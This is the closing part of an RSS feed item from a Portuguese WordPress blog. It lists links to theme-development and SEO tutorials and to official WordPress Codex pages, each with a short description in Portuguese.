<li><a href="http://www.darrenhoyt.com/2007/12/26/multiple-wordpress-page-layouts-in-one-single-template/">Multiple WordPress Page Layouts in One Single Template</a></li>
<li><a href="http://nettuts.com/working-with-cmss/how-to-make-a-featured-post-carousel-for-wordpress/">How to Create a Featured Post Carousel for WordPress</a></li>
<li><a href="http://help-developer.com/index.php/2008/07/create-a-tabbed-featured-posts-area-in-wordpress/">Create a Tabbed Featured Post Area in WordPress</a></li>
</ul>
<h3>SEO</h3>
<ul>
<li><a href="http://yoast.com/articles/wordpress-seo/">WordPress SEO</a></li>
<li><a href="http://hackwordpress.com/how-to-blocking-your-wordpress-categories-and-archives-from-google/">Blocking Your WordPress Categories and Archives from Google</a></li>
<li><a href="http://theundersigned.net/2006/06/wordpress-and-seo/">WordPress and SEO</a></li>
<li><a href="http://www.geek-notes.com/wordpress/25/optimize-wordpress-for-search-engines/">SEO for WordPress Tips</a></li>
</ul>
<h2>Documentação oficial do WordPress</h2>
<p><img class="alignnone size-medium wp-image-265" title="press3" src="http://www.maistrafego.pt/wp-content/uploads/2009/04/press3-300x166.png" alt="press3" width="300" height="166" /></p>
<p><a href="http://codex.wordpress.org/Theme_Development">Theme Development</a><br />
Este artigo cobre o essencial sobre a criação de themes em wordpress, bem como outras importantes referências sobre a criação de themes na página oficial da plataforma.</p>
<p><a href="http://codex.wordpress.org/The_Loop">The Loop</a><br />
Fala sobre os detalhes do loop, um dos elementos essenciais no sistema de themes do wp.</p>
<p><a href="http://codex.wordpress.org/Creating_an_Archive_Index">Creating an Archive Index</a></p>
<p>Existem dezenas de opções diferentes no que toca à representação do ficheiro dos arquivos.</p>
<p><a href="http://codex.wordpress.org/Customizing_Your_Sidebar">Customizing Your Sidebar</a><br />
As sibebars têm dezenas de apresentações possíveis, dá uma vista de olhos.</p>
<p><a href="http://codex.wordpress.org/Conditional_Tags">Conditional Tags</a><br />
Para criar themes versáteis em wordpress é essencial +erceber o funcionamento das conditional tags.</p>
<p><a href="http://codex.wordpress.org/Stepping_Into_Templates">Stepping into Templates</a></p>
<p>O básico do funcionamento das themes</p>
<p><a href="http://codex.wordpress.org/Template_Hierarchy">Template Hierarchy</a><br />
Explica como as templates funcionam juntas na theme.</p>
<p><a href="http://codex.wordpress.org/Using_Custom_Fields">Using Custom Fields</a><br />
Se és developer os custom fields abrem tudo um mundo novo de oportunidades.</p>
<p><a href="http://codex.wordpress.org/Search_Engine_Optimization_for_Wordpress">Search Engine Optimization for WordPress</a><br />
Artigo geral sobre SEO em wp.<br />
<br />
Qualquer dúvida que tenha sobre o wordpress pode colocar no nosso <a href="http://forum.maistrafego.pt">forum</a> de suporte a esta plataforma.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/wordpress-o-verdadeiro-guia/feed</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
	</channel>
</rss>

